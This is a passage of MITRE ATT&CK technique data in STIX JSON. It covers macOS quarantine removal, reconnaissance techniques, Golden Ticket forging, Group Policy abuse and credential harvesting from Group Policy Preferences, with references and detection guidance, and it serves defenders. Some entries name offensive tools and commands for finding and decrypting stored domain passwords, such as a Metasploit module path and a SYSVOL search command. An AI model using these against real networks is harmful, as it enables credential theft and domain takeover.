                },
                {
                    "url": "https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/",
                    "description": "Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.",
                    "source_name": "Clearing quarantine attribute"
                },
                {
                    "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update",
                    "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
                    "source_name": "OceanLotus for OS X"
                },
                {
                    "url": "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/",
                    "description": "Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017.",
                    "source_name": "Bypassing Gatekeeper"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-06-20T22:41:20.063Z",
            "created": "2020-02-05T16:16:08.471Z",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_data_sources": [
                "File: File Metadata",
                "File: File Modification",
                "Process: Process Creation",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Monitoring for the removal of the <code>com.apple.quarantine</code> flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as <code>xattr</code>. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.",
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_defense_bypassed": [
                "Application control",
                "Anti-virus"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1592",
                    "url": "https://attack.mitre.org/techniques/T1592"
                },
                {
                    "source_name": "ATT ScanBox",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Gather Victim Host Information",
            "description": "Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
            "id": "attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f",
            "type": "attack-pattern",
            "kill_chain_phases": [
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:23:58.024Z",
            "created": "2020-10-02T16:39:33.966Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
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        {
            "created": "2020-10-02T14:54:59.263Z",
            "modified": "2021-04-15T03:27:49.579Z",
            "kill_chain_phases": [
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
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            "id": "attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4",
            "name": "Gather Victim Identity Information",
            "description": "Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
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            "object_marking_refs": [
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                {
                    "source_name": "mitre-attack",
                    "external_id": "T1589",
                    "url": "https://attack.mitre.org/techniques/T1589"
                },
                {
                    "source_name": "OPM Leak",
                    "url": "https://www.opm.gov/cybersecurity/cybersecurity-incidents/",
                    "description": "Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020."
                },
                {
                    "source_name": "Register Deloitte",
                    "url": "https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/",
                    "description": "Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Register Uber",
                    "url": "https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/",
                    "description": "McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Detectify Slack Tokens",
                    "url": "https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/",
                    "description": "Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Forbes GitHub Creds",
                    "url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196",
                    "description": "Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020."
                },
                {
                    "source_name": "GitHub truffleHog",
                    "url": "https://github.com/dxa4481/truffleHog",
                    "description": "Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020."
                },
                {
                    "source_name": "GitHub Gitrob",
                    "url": "https://github.com/michenriksen/gitrob",
                    "description": "Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020."
                },
                {
                    "source_name": "CNET Leaks",
                    "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/",
                    "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020."
                }
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            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.0",
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        },
        {
            "created": "2020-10-02T15:45:17.628Z",
            "modified": "2021-04-15T03:34:23.229Z",
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                    "phase_name": "reconnaissance"
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            ],
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            "description": "Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
            "name": "Gather Victim Network Information",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "external_id": "T1590",
                    "url": "https://attack.mitre.org/techniques/T1590"
                },
                {
                    "source_name": "WHOIS",
                    "url": "https://www.whois.net/",
                    "description": "NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020."
                },
                {
                    "source_name": "DNS Dumpster",
                    "url": "https://dnsdumpster.com/",
                    "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."
                },
                {
                    "source_name": "Circl Passive DNS",
                    "url": "https://www.circl.lu/services/passive-dns/",
                    "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020."
                }
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            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.0",
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        },
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                    "source_name": "mitre-attack",
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                    "url": "https://attack.mitre.org/techniques/T1591"
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                {
                    "source_name": "ThreatPost Broadvoice Leak",
                    "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/",
                    "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020."
                },
                {
                    "source_name": "DOB Business Lookup",
                    "url": "https://www.dobsearch.com/business-lookup/",
                    "description": "Concert Technologies . (n.d.). Business Lookup - Company Name Search. Retrieved October 20, 2020."
                }
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            "name": "Gather Victim Org Information",
            "description": "Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
            "id": "attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23",
            "type": "attack-pattern",
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                    "phase_name": "reconnaissance"
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            ],
            "modified": "2021-04-15T03:39:09.021Z",
            "created": "2020-10-02T16:27:02.339Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
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            "x_mitre_platforms": [
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                    "source_name": "mitre-attack",
                    "external_id": "T1558.001",
                    "url": "https://attack.mitre.org/techniques/T1558/001"
                },
                {
                    "url": "https://adsecurity.org/?p=1640",
                    "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.",
                    "source_name": "AdSecurity Kerberos GT Aug 2015"
                },
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                    "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf",
                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
                    "source_name": "CERT-EU Golden Ticket Protection"
                },
                {
                    "url": "https://adsecurity.org/?p=1515",
                    "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
                    "source_name": "ADSecurity Detecting Forged Tickets"
                },
                {
                    "description": "Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active Directory\u2019s Domain Kerberos Service Account. Retrieved January 30, 2020.",
                    "url": "https://adsecurity.org/?p=483",
                    "source_name": "ADSecurity Kerberos and KRBTGT"
                },
                {
                    "source_name": "Stealthbits Detect PtT 2019",
                    "url": "https://blog.stealthbits.com/detect-pass-the-ticket-attacks",
                    "description": "Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020."
                },
                {
                    "source_name": "Microsoft Kerberos Golden Ticket",
                    "url": "https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285",
                    "description": "Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020."
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            "description": "Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection) \n\nUsing a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)\n\nThe KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller.",
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            "type": "attack-pattern",
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            "modified": "2020-11-05T16:07:03.779Z",
            "created": "2020-02-11T19:13:33.643Z",
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            "x_mitre_permissions_required": [
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            ],
            "x_mitre_detection": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation: ADSecurity Kerberos and KRBTGT)(Citation: CERT-EU Golden Ticket Protection)(Citation: Stealthbits Detect PtT 2019)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n",
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            "x_mitre_is_subtechnique": true,
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                },
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                    "url": "https://en.wikipedia.org/wiki/Run_command",
                    "description": "Wikipedia. (2018, August 3). Run Command. Retrieved October 12, 2018.",
                    "source_name": "Wikipedia Run Command"
                }
            ],
            "description": "**This technique has been deprecated. Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.**\n\nThe Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.",
            "name": "Graphical User Interface",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228",
            "type": "attack-pattern",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
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            ],
            "modified": "2020-03-30T13:38:08.738Z",
            "created": "2017-05-31T21:30:50.342Z",
            "x_mitre_deprecated": true,
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "2.0",
            "x_mitre_detection": "Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. \n\nUnknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_permissions_required": [
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            ],
            "x_mitre_remote_support": true
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                    "external_id": "T1484.001",
                    "url": "https://attack.mitre.org/techniques/T1484/001"
                },
                {
                    "source_name": "TechNet Group Policy Basics",
                    "url": "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/",
                    "description": "srachui. (2012, February 13). Group Policy Basics \u2013 Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019."
                },
                {
                    "source_name": "ADSecurity GPO Persistence 2016",
                    "url": "https://adsecurity.org/?p=2716",
                    "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019."
                },
                {
                    "source_name": "Wald0 Guide to GPOs",
                    "url": "https://wald0.com/?p=179",
                    "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019."
                },
                {
                    "source_name": "Harmj0y Abusing GPO Permissions",
                    "url": "http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/",
                    "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019."
                },
                {
                    "source_name": "Mandiant M Trends 2016",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf",
                    "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019."
                },
                {
                    "source_name": "Microsoft Hacking Team Breach",
                    "url": "https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/",
                    "description": "Microsoft Secure Team. (2016, June 1). Hacking Team Breach: A Cyber Jurassic Park. Retrieved March 5, 2019."
                },
                {
                    "source_name": "Harmj0y SeEnableDelegationPrivilege Right",
                    "url": "http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/",
                    "description": "Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved March 5, 2019."
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Group Policy Modification",
            "description": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path <code>\\\\&lt;DOMAIN&gt;\\SYSVOL\\&lt;DOMAIN&gt;\\Policies\\</code>.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002),  and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as <code>New-GPOImmediateTask</code> can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <code>&lt;GPO_PATH&gt;\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml</code>.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <code>&lt;GPO_PATH&gt;\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf</code>, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)",
            "id": "attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2021-02-09T15:52:24.315Z",
            "created": "2020-12-28T21:50:59.844Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_detection": "It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:\n\n* Event ID 5136 - A directory service object was modified\n* Event ID 5137 - A directory service object was created\n* Event ID 5138 - A directory service object was undeleted\n* Event ID 5139 - A directory service object was moved\n* Event ID 5141 - A directory service object was deleted\n\n\nGPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704).",
            "x_mitre_data_sources": [
                "Active Directory: Active Directory Object Creation",
                "Active Directory: Active Directory Object Deletion",
                "Active Directory: Active Directory Object Modification",
                "Command: Command Execution"
            ],
            "x_mitre_contributors": [
                "Itamar Mizrahi, Cymptom",
                "Tristan Bennett, Seamless Intelligence"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1552.006",
                    "url": "https://attack.mitre.org/techniques/T1552/006"
                },
                {
                    "source_name": "Microsoft GPP 2016",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)",
                    "description": "Microsoft. (2016, August 31). Group Policy Preferences. Retrieved March 9, 2020."
                },
                {
                    "url": "https://msdn.microsoft.com/library/cc422924.aspx",
                    "description": "Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April 11, 2018.",
                    "source_name": "Microsoft GPP Key"
                },
                {
                    "url": "https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html",
                    "description": "Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. Retrieved April 11, 2018.",
                    "source_name": "Obscuresecurity Get-GPPPassword"
                },
                {
                    "description": "Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020.",
                    "url": "https://adsecurity.org/?p=2288",
                    "source_name": "ADSecurity Finding Passwords in SYSVOL"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Group Policy Preferences",
            "description": "Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)\n\nThese group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)\n\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\n* Metasploit\u2019s post exploitation module: <code>post/windows/gather/credentials/gpp</code>\n* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nOn the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: <code>dir /s * .xml</code>\n",
            "id": "attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2020-06-17T14:25:38.082Z",
            "created": "2020-02-11T18:43:06.253Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_data_sources": [
                "File: File Access",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Monitor for attempts to access SYSVOL that involve searching for XML files. \n\nDeploy a new XML file with permissions set to Everyone:Deny and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords in SYSVOL)"
        },
        {
            "id": "attack-pattern--086952c4-5b90-4185-b573-02bad8e11953",
            "name": "HISTCONTROL",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1148",
                    "url": "https://attack.mitre.org/techniques/T1148"
                },
                {
                    "external_id": "CAPEC-13",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/13.html"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-21T20:57:38.015Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1592.001",
                    "url": "https://attack.mitre.org/techniques/T1592/001"
                },
                {
                    "source_name": "ATT ScanBox",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Hardware",
            "description": "Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).",
            "id": "attack-pattern--24286c33-d4a4-4419-85c2-1d094a896c26",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:23:21.031Z",
            "created": "2020-10-02T16:40:47.488Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "id": "attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Hardware Additions",
            "description": "Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by APT groups are scarce, many penetration testers leverage hardware additions for initial access. Commercial and open source products are leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), man-in-the middle encryption breaking (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), adding new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1200",
                    "url": "https://attack.mitre.org/techniques/T1200"
                },
                {
                    "external_id": "CAPEC-440",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/440.html"
                },
                {
                    "url": "https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html",
                    "description": "Michael Ossmann. (2011, February 17). Throwing Star LAN Tap. Retrieved March 30, 2018.",
                    "source_name": "Ossmann Star Feb 2011"
                },
                {
                    "url": "https://www.youtube.com/watch?v=lDvf4ScWbcQ",
